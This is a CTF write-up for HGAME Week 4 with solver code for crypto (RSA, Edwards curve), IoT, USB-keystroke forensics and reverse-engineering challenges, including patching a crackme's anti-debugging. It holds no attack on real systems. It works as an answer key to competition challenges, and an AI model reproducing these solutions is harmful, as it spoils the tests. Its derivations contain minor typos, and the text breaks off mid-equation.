HGAME Week4 WriteUP

Written by woshiluo.

Crypto

lastrsa

令 $f = p\,\texttt{xor}(q >> 13), t = 2 \times 114512$。

给出了 $e_1 = \sum_{i=1}^{40} (ft)^i, e_2 = \sum_{i=1}^{40} (f+t)^i$。

其实这两个都是多项式啊。

不妨二项式定理展开，然后对两个多项式求 GCD，发现是一个一次方程，那么我们就得到了 f。

有了 f 之后看看怎么得到 p, q。这个难度不太大，很容易注意到 n 的最后 k 位可以由 p, q 的最低 k 位决定，而 f 又给出了 p, q 中大多数位的关系。

考虑爆破 q 的低 13 位，然后向前递推即可。

```
n=136159501395608246592433283541763642196295827652290287729738751327141687762873360488671062583851846628
enc1=248199898147815216916437867419491111147566873449691473168220417287304527388923285626614023651823133
enc2=289241348648731716890953208720321327945122567627851449945227988744909619043683462711916115543701215

l=131684520150783898076817440777010126831887499532802043245704833619635412987047963897571901805498027712
p=131672448823046932777857205674939966100669182563696825944824169133620697047268311092043711009701548663
q=103407738378581696614743230290123843773943918823325606069524948994632845962099320897935760414920396419
# Try to get start
# def get_mask( i ):
#     return ( 1 << ( i + 1 ) ) - 1
# def try_both( i, p, q ):
#     # l = p^(q>>13)
#     if i == 512 - 13:
#         t = 512 - 13
#         highp = ( l >> t ) << t
#         p |= highp
#         q |= ( l ^ p ) << 13
#         # assert len(bin(p)[2:])==512 and len(bin(q)[2:])==512
#         if is_prime(p) and is_prime(q):
#             print( i, p, q )
#         return
#     mask = get_mask(i)
#     cur_n = n & mask
#     cur_t = 1 << i
#     s=( p >> i ) & 1
#     t=( l >> i ) & 1
#     for j in range(0,2):
#         for k in range(0,2):
#             if j:
#                 np = p | cur_t
#             else:
#                 np = p
#             if k:
#                 nq = q | cur_t
#             else:
#                 nq = q
#               if ( np * nq ) & mask == cur_n and ( np ^ ( nq >> 13 ) ) & get_mask(i-13)
↪  == ( l & get_mask(i-13) ):
#                   try_both( i + 1, np, nq )
#
# for p in range( 1 << 14 ):
#     tq = 0
#     flag = True
#     for i in range(13):
#         mask = ( 1 << ( i + 1 ) ) - 1
#         cur_n = n & mask
#         cur_t = 1 << i
#         if ( ( tq | cur_t ) * p ) & mask == cur_n:
#             tq |= cur_t
#         elif ( tq * p ) & mask == cur_n:
#             tq |= 0
#         else:
#             flag = False
#             break
#     if flag:
#         try_both( 13, tq, p )



assert p * q == n

e=0x10001
c=870777598780602252870521069380976221588961062787568527785716844297674577611484743699738822788473077769
phi = ( p - 1 ) * ( q - 1 )
d = gmpy2.invert( e, phi )

m=pow(c,d,n)

print(long_to_bytes(m))
```

transmation

给定了一个曲线上的 4 个点。

给定 e, eG，求 G。

问题在于求 G 的阶。

想要 G 的阶，势必要知道曲线。

题目中有这么一行：

`(u**2 + v**2 - c**2 * (1 + d * u**2*v**2)) % p == 0`

翻译一下：

$$
\begin{aligned}
x^2 + y^2 - c^2(1 + dx^2y^2) &\equiv 0 \pmod{p} \\
x^2 + y^2 - c^2 + c^2dx^2y^2 &\equiv 0 \pmod{p}
\end{aligned}
$$

不妨假设存在 $(x_1, y_1), (x_2, y_2)$ 两个点位于曲线 $E(c, d, p)$ 上。

那么我们就可以两个式子相减。

$$(x_1^2 + y_1^2) - (x_2^2 + x_2^2) = cd^2(x_1^2y_1^2 - x_2^2y_2^2) \pmod p$$

这个式子很好看，如果我知道 p，那么 cd^2 就已知了。

但是我们不知道。

不妨令上式中

$$\begin{aligned} p_{1,2} &= (x_1^2 + y_1^2) - (x_2^2 + x_2^2) \\ q_{1,2} &= (x_1^2y_1^2 - x_2^2y_2^2) \end{aligned}$$

注意一下，$p_{i,j}$ 和 p 是两个东西。

那么我们可以得到数个形如

$$p_{i,j} = cd^2 \cdot q_{i,j} + k_{i,j}p$$

的等式。

我们可以对两个等式的 $q_{i,j}$ 部分做类似辗转相除的东西，很容易发现最后大概率会得到一个形如：

$$cd^2 + k'_{i,j}p = p'_{i,j}$$

的式子。

也就是说，此时 $p'_{i,j}$ 定为 p 的倍数。

多做几次求个 gcd 一般就得到了 p。或者直接拿一次的结果做去做分解也行。

剩下的就是不同曲线间的转化和求点的阶，这个不算复杂。

参照：https://www-fourier.univ-grenoble-alpes.fr/mphell/doc-v5/conversion_weierstrass_edwards.html

```
#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo <woshiluo.luo@outlook.com>
#
# Distributed under terms of the GNU AGPLv3+ license.

from Crypto.Util.number import *
from sage.all import *
import gmpy2

mat = [
[423323064726997230640834352892499067628999846,
 ↪  44150133418579337991209313731867512059107422186218072084511769232282794765835],
[612403241107575741587390996773145537915088133,
 ↪  64560350111660175566171189050923672010957086249856725096266944042789987443125],
[875772166783241503962848015336037891993605823,
 ↪  51964088188556618695192753554835667051669568193048726314346516461990381874317],
[1033433758780986378718784935633168786654735170,
 ↪  2890573833121495534597689071280547153773878148499187840022524010636852499684],
[40198712137747628410430624618331426343875490261805137714686326678112749070113,
 ↪  65008030741966083441937593781739493959677657609550411222052299176801418887407],
]
```

```
def get_c(i, j):
    p=(mat[i][0]**2+mat[i][1]**2)-(mat[j][0]**2+mat[j][1]**2)
    q=(mat[i][0]**2*mat[i][1]**2)-(mat[j][0]**2*mat[j][1]**2)
    return (q,p)

def wtfgcd( p, q ):
    dx1, c1 = p
    dx2, c2 = q
    if dx2 == 0:
        return p
    k = dx1 // dx2
    np = ( dx2, c2 )
    nq = ( dx1 - k * dx2, c1 - k * c2 )
    res = wtfgcd( np, nq )
    return res

def cipolla(n,p):
    n %= p
    if(n == 0 or n == 1):
        return (n,-n%p)
    phi = p - 1
    if(pow(n, phi//2, p) != 1):
        return ()
    if(p%4 == 3):
        ans = pow(n,(p+1)//4,p)
        return (ans,-ans%p)
    aa = 0
    for i in range(1,p):
        temp = pow((i*i-n)%p,phi//2,p)
        if(temp == phi):
            aa = i
            break;
    exponent = convertToBase((p+1)//2,2)

    def cipollaMult(k,i,w,p):
        (a,b) = k
        (c,d) = i
        return ((a*c+b*d*w)%p,(a*d+b*c)%p)
    x1 = (aa,1)
    x2 = cipollaMult(x1,x1,aa*aa-n,p)
    for i in range(1,len(exponent)):
        if(exponent[i] == 0):
            x2 = cipollaMult(x2,x1,aa*aa-n,p)
            x1 = cipollaMult(x1,x1,aa*aa-n,p)
        else:
            x1 = cipollaMult(x1,x2,aa*aa-n,p)
            x2 = cipollaMult(x2,x2,aa*aa-n,p)
    return (x1[0],-x1[0]%p)

# for i in range(5):
#     for j in range(i,5):
#         for k in range(5):
#             for l in range(k,5):
```

```
#                 if i == j or k == l:
#                     continue;
#                 p1=get_c(j,i)
#                 p2=get_c(l,k)
#
#                 dx1, a1 = wtfgcd(p1,p2)
#                 if dx1 == 1:
#                     print(a1)


p=67943764351073247630101943221474884302015437788242536572067548198498727238923
```

```
p=67943764351073247630101943221474884302015437788242536572067548198498727238923
d=8779982120820562807260290996171144226614358666469579196351820160975526615300
c=60799864652963819347231403856892915722262395658296749944775205023739430037843
# print(d)

# Curve = ( c, d, p )

def ison(C, P):
    c, d, p = C
    u, v = P
    return (u**2 + v**2 - c**2 * (1 + d * u**2*v**2)) % p == 0
#
# def add(C, P, Q):
#     c, d, p = C
#     u1, v1 = P
#     u2, v2 = Q
#     assert ison(C, P) and ison(C, Q)
#     u3 = (u1 * v2 + v1 * u2) * inverse(c * (1 + d * u1 * u2 * v1 * v2), p) % p
#     v3 = (v1 * v2 - u1 * u2) * inverse(c * (1 - d * u1 * u2 * v1 * v2), p) % p
#     return (int(u3), int(v3))
#
# def mul(C, P, m):
#     assert ison(C, P)
#     c, d, p = C
#     B = bin(m)[2:]
#     l = len(B)
#     u, v = P
#     PP = (-u, v)
#     O = add(C, P, PP)
#     Q = O
#     if m == 0:
#         return O
#     elif m == 1:
#         return P
#     else:
#         for _ in range(l-1):
#             P = add(C, P, P)
#         m = m - 2**(l-1)
#         Q, P = P, (u, v)
#         return add(C, Q, mul(C, P, m))

P = (423323064726997230640834352892499067628999846,
 ↪  44150133418579337991209313731867512059107422186218072084511769232282794765835)
```

```
Q = (1033433758780986378718784935633168786654735170,
 ↪  2890573833121495534597689071280547153773878148499187840022524010636852499684)
S = (875772166783241503962848015336037891993605823,
 ↪  51964088188556618695192753554835667051669568193048726314346516461990381874317)
T = (612403241107575741587390996773145537915088133,
 ↪  64560350111660175566171189050923672010957086249856725096266944042789987443125)
eG = (40198712137747628410430624618331426343875490261805137714686326678112749070113,
 ↪  65008030741966083441937593781739493959677657609550411222052299176801418887407)
# R = (0, c)
# R = (1, 49758835847489900217902278669501664362583836292959100446678260808358431367765)
# R = (2, 30545040125055794664865543893237826733803510767094125702022046894476623858757)
# print(ison(Curve,R))

F=GF(p)

# To Normal Twist
d = F(d) * ( F(c)**4 )
def to_normal_twi(P):
    x, y = P
    return ( F(x) / F(c), F(y) / F(c) )

P = to_normal_twi(P)
Q = to_normal_twi(Q)
S = to_normal_twi(S)
T = to_normal_twi(T)
eG = to_normal_twi(eG)

# Twist. to Mont.
#
 ↪  https://www-fourier.univ-grenoble-alpes.fr/mphell/doc-v5/conversion_weierstrass_edwards.html
a = F(1)
A = F(2) * ( a + d ) / ( a - d )
B = F(4) / ( a - d )
def twi_to_mon(P):
    u, v = P
    return ( ( F(1) + F(v) ) / ( F(1) - F(v) ), ( F(1) + F(v) ) / ( ( F(1) - F(v) ) *
     ↪  F(u) ) )

def ed_to_mont(P):
    x, y = P
    u = F(1 + y) / F(1 - y)
    v = 2*F(1 + y) / F(x*(1 - y))
    return u,v

P = twi_to_mon(P)
Q = twi_to_mon(Q)
S = twi_to_mon(S)
T = twi_to_mon(T)
eG = twi_to_mon(eG)

def chk_mont(P):
    x, y = P
    assert B * y**2 == x**3 + A * x**2 + x
```

```
chk_mont(P)
chk_mont(Q)
chk_mont(S)
chk_mont(T)
chk_mont(eG)

def mont_to_wei(P):
    x, y = P
    return ( ( x + A / 3 ) / B, y / B )

P = mont_to_wei(P)
Q = mont_to_wei(Q)
S = mont_to_wei(S)
T = mont_to_wei(T)
eG = mont_to_wei(eG)

a = F( 1 / B**2 ) * F(1 - ( A ** 2 / 3) )
b = F( A / F( 3 * B**3 ) ) * F( 2 * A ** 2 / 9 - 1 )

def chk_wei(P):
    x, y = P
    assert y**2 == x**3 + a * x + b

chk_wei(P)
chk_wei(Q)
chk_wei(S)
chk_wei(T)
chk_wei(eG)

E = EllipticCurve(F, [a,b])

def to_EC(P):
    x, y = P
    return E(x,y)

P=to_EC(P)
Q=to_EC(Q)
S=to_EC(S)
T=to_EC(T)
eG=to_EC(eG)

o=eG.order()
G=gmpy2.invert(0x10001,o)*eG

print( gmpy2.invert(0x10001,o) )
print(G)
print(gx, gy)
print(0x10001*G)
print(eG)
flag = "hgame{" + hex(gx+gy)[2:] + "}"
print(flag)

p=67943764351073247630101943221474884302015437788242536572067548198498727238923
```

```
d=8779982120820562807260290996171144226614358666469579196351820160975526615300
c=60799864652963819347231403856892915722262395658296749944775205023739430037843
Curve = (c, d, p)
eG = (40198712137747628410430624618331426343875490261805137714686326678112749070113,
 ↪  65008030741966083441937593781739493959677657609550411222052299176801418887407)
G=mul(Curve,
 ↪  eG,31389403316288817845192968641961118291285589666090945601379402870632024025483)
gx, gy = G
flag = "hgame{" + hex(gx+gy)[2:] + "}"
print(flag)
```

IOT

ez7621

直接 binwalk 解包。

find flag

找到一个 kernel module。

直接逆向。

其实就是对 enc 异或了一个常数。

```
char str[] = ">17;3-ee44`3`a{`boe{b2fb{4`d4{bdg5aoog4d44+";

int main() {
#ifdef woshiluo
    freopen( "tmp.in", "r", stdin );
    freopen( "tmp.out", "w", stdout );
#endif

    for( int i = 0; i < sizeof(str); i ++ )
        printf( "%c", str[i] ^ 0x56 );

}
```

ezKeyboard

基本上就对 USB 抓包。

查阅文档直接写脚本就行。

```
<?php
/**
 * Short description for tmp.php
 *
 * @package tmp
 * @author Woshiluo Luo <woshiluo.luo@outlook.com>
 * @version 0.1
 * @copyright (C) 2024 Woshiluo Luo <woshiluo.luo@outlook.com>
 * @license GNU AGPLv3+
 */


$pkgs=json_decode(file_get_contents("./test.json"));
$keys = [
"04"=>"a", "05"=>"b", "06"=>"c", "07"=>"d", "08"=>"e",
"09"=>"f", "0a"=>"g", "0b"=>"h", "0c"=>"i", "0d"=>"j",
"0e"=>"k", "0f"=>"l", "10"=>"m", "11"=>"n", "12"=>"o",
"13"=>"p", "14"=>"q", "15"=>"r", "16"=>"s", "17"=>"t",
"18"=>"u", "19"=>"v", "1a"=>"w", "1b"=>"x", "1c"=>"y",
"1d"=>"z","1e"=>"1", "1f"=>"2", "20"=>"3", "21"=>"4",
"22"=>"5", "23"=>"6","24"=>"7","25"=>"8","26"=>"9",
"27"=>"0","28"=>"<RET>","29"=>"<ESC>","2a"=>"<DEL>", "2b"=>"\t",
"2c"=>"<SPACE>","2d"=>"-","2e"=>"=","2f"=>"[","30"=>"]","31"=>"\\",
"32"=>"<NON>","33"=>";","34"=>"'","35"=>"`","36"=>",","37"=>".",
"38"=>"/","39"=>"<CAP>","3a"=>"<F1>","3b"=>"<F2>", "3c"=>"<F3>","3d"=>"<F4>",
"3e"=>"<F5>","3f"=>"<F6>","40"=>"<F7>","41"=>"<F8>","42"=>"<F9>","43"=>"<F10>",
"44"=>"<F11>","45"=>"<F12>"
];
$shift_keys = [
"04"=>"A", "05"=>"B", "06"=>"C", "07"=>"D", "08"=>"E",
"09"=>"F", "0a"=>"G", "0b"=>"H", "0c"=>"I", "0d"=>"J",
"0e"=>"K", "0f"=>"L", "10"=>"M", "11"=>"N", "12"=>"O",
"13"=>"P", "14"=>"Q", "15"=>"R", "16"=>"S", "17"=>"T",
"18"=>"U", "19"=>"V", "1a"=>"W", "1b"=>"X", "1c"=>"Y",
"1d"=>"Z","1e"=>"!", "1f"=>"@", "20"=>"#", "21"=>"$",
"22"=>"%", "23"=>"^","24"=>"&","25"=>"*","26"=>"(","27"=>")",
"28"=>"<RET>","29"=>"<ESC>","2a"=>"<DEL>", "2b"=>"\t","2c"=>"<SPACE>",
"2d"=>"_","2e"=>"+","2f"=>"{","30"=>"}","31"=>"|","32"=>"<NON>","33"=>"\"",
"34"=>"=>","35"=>"~","36"=>"<","37"=>">","38"=>"?","39"=>"<CAP>","3a"=>"<F1>",
"3b"=>"<F2>", "3c"=>"<F3>","3d"=>"<F4>","3e"=>"<F5>","3f"=>"<F6>","40"=>"<F7>",
"41"=>"<F8>","42"=>"<F9>","43"=>"<F10>","44"=>"<F11>","45"=>"<F12>"];

$res = "";
$caps = false;
$has_cap = false;

$la = -1;
foreach( $pkgs as $pkg ) {
    if( $pkg -> _source -> layers -> usb -> {'usb.src'} !== "1.2.3" )
        continue;
    $layers = $pkg -> _source -> layers;
    $data = $layers -> {'usbhid.data'};
    $hid_data = explode( ':', $data );
    $p = 3;
    while( $hid_data[ $p + 1 ] != 0 )
        $p ++;
    $shift = false;
    if( $hid_data[1] == 2 )
        $shift = true;
    echo $data . " / ";
    echo $hid_data[$p] . ":";
    if( $hid_data[$p] === '00' ) {
        $la = -1;
        $has_cap = 0;
        echo "\n";
        continue;
    }
    $cur_cap = false;
    $key=$keys[$hid_data[$p]];
    for( $j = 3; $j <= $p; $j ++ ) {
        echo $keys[$hid_data[$j]] . ":";
        if( $keys[$hid_data[$j]] === '<CAP>' )
            $cur_cap = true;
    }
    if( $cur_cap != $has_cap && $cur_cap ) {
        $caps ^= 1;
        $has_cap = $cur_cap;
        echo "\n";
        continue;
    }
    $has_cap = $cur_cap;
    echo $has_cap . "/" . $caps . "\n";

    if( $key == '<CAP>' )
        continue;
    if( $key >= 'a' && $key <= 'z' ) {
        $is_upper = $caps ^ $shift;
        if( $is_upper )
            $res .= strtoupper($key);
        else
            $res .= $key;
    }
    else if( $key == '<DEL>' ) {
        $res = substr( $res, 0, -1 );
    }
    else {
        if( $shift )
            $res .= $shift_keys[ $hid_data[ $p ] ];
        else
            $res .= $key;
    }
}
echo $res;
```

Maybezip

很明显的异或一个常数。

得到 zip。

注意到压缩包时间有规律，考虑直接按二进制解码最后一位。

解出来当密码。

解压。

得到很长一段神秘数字。

注意到密码中的 tupper。

有请 https://tuppers-formula.ovh/

得到一个神似二维码的东西。

但是不太是。

猜测是 micro qrcode。

扫描得到 flag。

Reverse

again!

这个题目是真不懂。

观察 bin2，注意到按 32 位循环，然后有所修改。

异或了一下前两位发现 MZ。直接异或下来一整串。

果然是个 exe，扔进 IDA 发现就是个 xxtea，解密即可。

题外话：其实我逆了 pyc，但是实在没看出来和上面有什么关系。

```
#include <cstdio>
#include <cstdint>


#define DELTA 0x7937B99E
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))

void btea(uint32_t* v, int n, uint32_t const key[4]) {
    uint32_t y, z, sum;
    unsigned p, rounds, e;
    if (n > 1) {          /* Coding Part */
        rounds = /*6 + */52 / n;
        sum = 0;
        z = v[n - 1];
        do {
            sum += DELTA;
            e = (sum >> 2) & 3;
            for (p = 0; p < n - 1; p++) {
                y = v[p + 1];
                z = v[p] += MX;
            }
            y = v[0];
            z = v[n - 1] += MX;
        } while (--rounds);
    }
    else if (n < -1) {  /* Decoding Part */
        n = -n;
        rounds = 12;
        sum = rounds * DELTA;
        y = v[0];
        do {
            e = (sum >> 2) & 3;
            for (p = n - 1; p > 0; p--) {
                z = v[p - 1];
                y = v[p] -= MX;
            }
            z = v[n - 1];
            y = v[0] -= MX;
        } while ((sum -= DELTA) != 0);
    }
}
```

```
unsigned char enc[] =
{
    0xC3, 0xB5, 0x6F, 0x50, 0x45, 0x8F, 0x35, 0xB9, 0xC7, 0xE8,
    0x1A, 0xC9, 0x80, 0xE2, 0x20, 0x38, 0x83, 0xBA, 0x3A, 0xD1,
    0x54, 0xF5, 0x5C, 0x97, 0x6B, 0x03, 0x52, 0x43, 0x47, 0x04,
    0xD2, 0x1C
};



int main() {
    uint32_t key[4];
    key[0] = 4660;
    key[1] = 9025;
    key[2] = 13330;
    key[3] = 16675;
    btea( (uint32_t*) enc, -8, key );
    char *p = (char*)enc;
    for( int i = 0; i < 32; i ++ )
        printf( "%c", p[i] );
}
```

change

两个函数交替按位加密。

```
/*
 * tmp.cpp 2024-02-27
 * Copyright (C) 2024 Woshiluo Luo <woshiluo.luo@outlook.com>
 *
 * 「Two roads diverged in a wood,and I—
 * I took the one less traveled by,
 * And that has made all the difference.」
 *
 * Distributed under terms of the GNU GNU AGPLv3+ license.
 */

#include <cstdio>
#include <cstdint>
#include <cstring>
#include <cstdlib>

#include <vector>
#include <algorithm>

using i32 = int32_t;
using u32 = uint32_t;
using ci32 = const int32_t;
using cu32 = const uint32_t;

using i64 = int64_t;
using u64 = uint64_t;
using ci64 = const int64_t;
using cu64 = const uint64_t;
```

```
inline bool isdigit( const char cur ) { return cur >= '0' && cur <= '9'; }/*{{{*/
template <class T>
T Max( T a, T b ) { return a > b? a: b; }
template <class T>
T Min( T a, T b ) { return a < b? a: b; }
template <class T>
void chk_Max( T &a, T b ) { if( b > a ) a = b; }
template <class T>
void chk_Min( T &a, T b ) { if( b < a ) a = b; }
template <typename T>
T read() {
    T sum = 0, fl = 1;
    char ch = getchar();
    for (; isdigit(ch) == 0; ch = getchar())
        if (ch == '-') fl = -1;
    for (; isdigit(ch); ch = getchar()) sum = sum * 10 + ch - '0';
    return sum * fl;
}
template <class T>
T pow( T a, i32 p ) {
    T res = 1;
    while( p ) {
        if( p & 1 )
            res = res * a;
        a = a * a;
        p >>= 1;
    }
    return res;
}/*}}}*/

const char key[] = "am2qasl";

unsigned char enc[] =
{
    0x13, 0x0A, 0x5D, 0x1C, 0x0E, 0x08, 0x23, 0x06, 0x0B, 0x4B,
    0x38, 0x22, 0x0D, 0x1C, 0x48, 0x0C, 0x66, 0x15, 0x48, 0x1B,
    0x0D, 0x0E, 0x10, 0x4F, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00,
    0x00, 0x00
};

int main() {
#ifdef woshiluo
    freopen( "tmp.in", "r", stdin );
    freopen( "tmp.out", "w", stdout );
#endif

    const int lk = strlen(key);
    for( int i = 0; i < (int)sizeof(enc); i ++ ) {
        if( i % 2 ) {
            enc[i] ^= key[ i % lk ];
        }
        else {
            enc[i] -= 10;
            enc[i] ^= key[ i % lk ];
        }
    }
    for( int i = 0; i < (int)sizeof(enc); i ++ ) {
        printf( "%c", enc[i] );
    }
}
```

crackme2

很明显的异常处理和反调试。

patch 反调试，拖进 x64dbg，导出内存，逆向，得到一车等式。

直接解速度很慢，发现位运算只有左移，替换成乘法，秒出结果。

```
#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo <woshiluo.luo@outlook.com>
#
# Distributed under terms of the GNU AGPLv3+ license.

from z3 import *

a_0 =  Int('a_0' )
a_1 =  Int('a_1' )
a_2 =  Int('a_2' )
a_3 =  Int('a_3' )
a_4 =  Int('a_4' )
a_5 =  Int('a_5' )
a_6 =  Int('a_6' )
a_7 =  Int('a_7' )
a_8 =  Int('a_8' )
a_9 =  Int('a_9' )
a_10 = Int('a_10')
a_11 = Int('a_11')
a_12 = Int('a_12')
a_13 = Int('a_13')
a_14 = Int('a_14')
a_15 = Int('a_15')
a_16 = Int('a_16')
a_17 = Int('a_17')
a_18 = Int('a_18')
a_19 = Int('a_19')
a_20 = Int('a_20')
a_21 = Int('a_21')
a_22 = Int('a_22')
a_23 = Int('a_23')
a_24 = Int('a_24')
a_25 = Int('a_25')
a_26 = Int('a_26')
a_27 = Int('a_27')
a_28 = Int('a_28')
a_29 = Int('a_29')
a_30 = Int('a_30')
```

```
a_31 = Int('a_31')
v1 = a_25;
v2 = a_21;
v3 = a_31;
v4 = a_29;
v5 = a_0;
v6 = a_23;
v7 = a_8;
v8 = a_28;
v9 = a_12;
v10 = a_3;
v11 = a_2;
v19 = a_30;
v15 = a_18;
v16 = a_24;
v27 = a_11;
v17 = a_26;
v30 = a_14;
v40 = a_7;
v26 = a_20;
v37 = 2 * v26;
v42 = a_22;
v28 = a_1;
v25 = a_27;
v21 = a_19;
v23 = a_16;
v31 = a_13;
v29 = a_10;
v41 = a_5;
v24 = a_4;
v20 = a_15;
v39 = a_17;
v22 = a_6;
v18 = a_9;
s=Solver()

v37 = 2 * v26
s.add( v18 + 201 * v24 + 194 * v10 + 142 * v20 + 114 * v39 + 103 * v11 + 52 * (v17 + v31)
 ↪  + ((v9 + v23) * 64) + 14 * (v21 + 4 * v25 + v25) + 9 * (v40 + 23 * v27 + v2 + 3 * v1
 ↪  + 4 * v2 + 4 * v6) + 5 * (v16 + 23 * v30 + 2 * (v3 + 2 * v19) + 5 * v5 + 39 * v15 +
 ↪  51 * v4) + 24 * (v8 + 10 * v28 + 4 * (v42 + v7 + 2 * v26)) + 62 * v22 + 211 * v41 +
 ↪  212 * v29 == 296473  )
v38 = 2 * v16
s.add( 207 * v41 + 195 * v22 + 151 * v40 + 57 * v5 + 118 * v6 + 222 * v42 + 103 * v7 +
 ↪  181 * v8 + 229 * v9 + 142 * v31 + 51 * v29 + 122 * (v26 + v20) + 91 * (v2 + 2 * v16)
 ↪  + 107 * (v27 + v25) + 81 * (v17 + 2 * v18 + v18) + 45 * (v19 + 2 * (v11 + v24) + v11
 ↪  + v24) + 4 * (3 * (v23 + a_19 + 2 * v23 + 5 * v4) + v39 + 29 * (v10 + v1) + 25 * v15)
 ↪  + 26 * v28 + 101 * v30 + 154 * v3 == 354358 )
s.add( 177 * v40 + 129 * v26 + 117 * v42 + 143 * v28 + 65 * v8 + 137 * v25 + 215 * v21 +
 ↪  93 * v31 + 235 * v39 + 203 * v11 + 15 * (v7 + 17 * v30) + 2 * (v24 + 91 * v9 + 95 *
 ↪  v29 + 51 * v41 + 81 * v20 + 92 * v18 + 112 * (v10 + v6) + 32 * (v22 + 2 * (v1 + v23))
 ↪  + 6 * (v2 + 14 * v16 + 19 * v15) + 83 * v5 + 53 * v4 + 123 * v19) + v17 + 175 * v27 +
 ↪  183 * v3 == 448573 )
```

```
s.add( 113 * v19 + 74 * v3 + 238 * v6 + 140 * v2 + 214 * v26 + 242 * v8 + 160 * v21 + 136
 ↪  * v23 + 209 * v9 + 220 * v31 + 50 * v24 + 125 * v10 + 175 * v20 + 23 * v39 + 137 *
 ↪  v22 + 149 * v18 + 83 * (v4 + 2 * v30) + 21 * (9 * v29 + v16) + 59 * (4 * v27 + v17) +
 ↪  41 * (v1 + v41) + 13 * (v7 + 11 * (v40 + v15) + 6 * v42 + 4 * (v28 + 2 * v11) + v28 +
 ↪  2 * v11 + 17 * v5) + 36 * v25 == 384306 )
s.add( 229 * v21 + 78 * v1 + v2 + v9 + 133 * v27 + 74 * v6 + 69 * v26 + 243 * v7 + 98 *
 ↪  v28 + 253 * v8 + 142 * v25 + 175 * v31 + 105 * v41 + 221 * v10 + 121 * v39 + 218 *
 ↪  (v19 + v29) + 199 * (v24 + v30) + 33 * (v40 + 7 * v17) + 4 * (27 * v20 + 50 * v11 +
 ↪  45 * v18 + 19 * (v3 + v42) + v16 + 16 * v23 + 52 * v4) + 195 * v22 + 211 * v5 + 153 *
 ↪  v15 == 424240 )
s.add( 181 * v25 + 61 * v2 + 65 * v21 + 58 * v31 + 170 * v29 + 143 * v24 + 185 * v10 + 86
 ↪  * v11 + 97 * v22 + 235 * (v23 + v27) + 3 * (53 * v41 + 74 * (v8 + v3) + 13 * (v42 + 6
 ↪  * v9) + 11 * (v39 + 7 * v20) + 15 * (v18 + 4 * v17) + v7 + 35 * v1 + 29 * v15) + 4 *
 ↪  (57 * v6 + 18 * (v5 + v37) + v28 + 17 * v16 + 55 * v30) + 151 * v40 + 230 * v4 + 197
 ↪  * v19 == 421974 )
v33 = 2 * v41
s.add( 209 * v21 + 249 * v30 + 195 * v2 + 219 * v25 + 201 * v39 + 85 * v18 + 213 * (v17 +
 ↪  v31) + 119 * (v11 + 2 * v41) + 29 * (8 * v24 + v40 + 4 * v27 + v27) + 2 * (v8 + 55 *
 ↪  (2 * v29 + v19) + 3 * (v10 + 39 * v9 + 2 * (v6 + 20 * v20) + 35 * v7) + 4 * (v5 + 31
 ↪  * v42 + 28 * v3) + 26 * v28 + 46 * (v37 + v16) + 98 * v1) + 53 * v23 + 171 * v15 +
 ↪  123 * v4 == 442074 )
v32 = 2 * v18
s.add( 162 * v19 + 74 * v5 + 28 * v27 + 243 * v42 + 123 * v28 + 73 * v8 + 166 * v23 + 94
 ↪  * v24 + 113 * v11 + 193 * v22 + 122 * (v6 + 2 * v7) + 211 * (v10 + v25) + 21 * (v17 +
 ↪  7 * v41) + 11 * (v4 + 23 * (v16 + v39) + 2 * (v40 + 5 * v30 + 2 * (2 * v18 + v29) + 2
 ↪  * v18 + v29)) + 5 * (46 * v9 + 26 * v20 + 4 * (v31 + 2 * v21) + v15 + 27 * v2 + 10 *
 ↪  v1) + 36 * (v3 + 5 * v26) == 376007 )
v35 = v25 + v30
s.add( 63 * v19 + 143 * v5 + 250 * v6 + 136 * v2 + 214 * v40 + 62 * v26 + 221 * v42 + 226
 ↪  * v7 + 171 * v28 + 178 * v8 + 244 * v23 + (v9 * 128) + 150 * v31 + 109 * v29 + 70 *
 ↪  v41 + 127 * v20 + 204 * v39 + 121 * v22 + 173 * v18 + 69 * (v25 + v30 + v27) + 74 *
 ↪  (v16 + 2 * v15 + v15) + 22 * (7 * v24 + v17 + 10 * v11) + 40 * (v1 + 4 * v21 + v21) +
 ↪  81 * v10 + 94 * v4 + 84 * v3 == 411252 )
s.add( 229 * v15 + 121 * v4 + 28 * v30 + 206 * v16 + 145 * v27 + 41 * v1 + 247 * v6 + 118
 ↪  * v26 + 241 * v28 + 79 * v8 + 102 * v25 + 124 * v23 + 65 * v9 + 68 * v31 + 239 * v17
 ↪  + 148 * v24 + 245 * v39 + 115 * v11 + 163 * v22 + 137 * v18 + 53 * (v5 + 2 * v29) +
 ↪  126 * (v40 + 2 * v10) + 38 * (v7 + v21 + 4 * v7 + 6 * v41) + 12 * (v2 + 16 * v42) +
 ↪  109 * v20 + 232 * v3 + 47 * v19 == 435012 )
s.add( 209 * v21 + 233 * v40 + 93 * v1 + 241 * v2 + 137 * v8 + 249 * v17 + 188 * v29 + 86
 ↪  * v24 + 246 * v10 + 149 * v20 + 99 * v11 + 37 * v22 + 219 * v18 + 17 * (v6 + 10 *
 ↪  v25) + 49 * (v5 + 3 * v3 + 4 * v28 + v28) + 5 * (16 * v39 + 11 * (v41 + 2 * v27 +
 ↪  v27) + 12 * v7 + v31 + 30 * v16 + 27 * v19) + 18 * (v23 + 2 * (v4 + v26 + 2 * v4) +
 ↪  v4 + v26 + 2 * v4) + 24 * v9 + 109 * v42 + 183 * v30 + 154 * v15 == 392484 )
v34 = 2 * v31
s.add( 155 * v15 + 247 * v40 + 157 * v28 + 119 * v23 + 161 * v17 + 133 * v20 + 85 * v22 +
 ↪  229 * (v7 + v24) + 123 * (2 * v31 + v42) + 21 * (v41 + 12 * v30) + 55 * (v9 + v5 +
 ↪  v18 + 2 * v5) + 15 * (v3 + 16 * v10 + 9 * v21) + 2 * (v2 + 115 * v29 + 111 * v16 + 26
 ↪  * v6 + 88 * v8 + 73 * v39 + 71 * v11 + 28 * (v26 + 2 * (v25 + 2 * v1)) + 51 * v27 +
 ↪  99 * v4 + 125 * v19) == 437910 )
s.add( 220 * v3 + 200 * v4 + 139 * v15 + 33 * v5 + 212 * v30 + 191 * v16 + 30 * v27 + 233
 ↪  * v1 + 246 * v6 + 89 * v2 + 252 * v40 + 223 * v42 + 19 * v25 + 141 * v21 + 163 * v9 +
 ↪  185 * v17 + 136 * v31 + 46 * v24 + 109 * v10 + 217 * v39 + 75 * v22 + 157 * v18 + 125
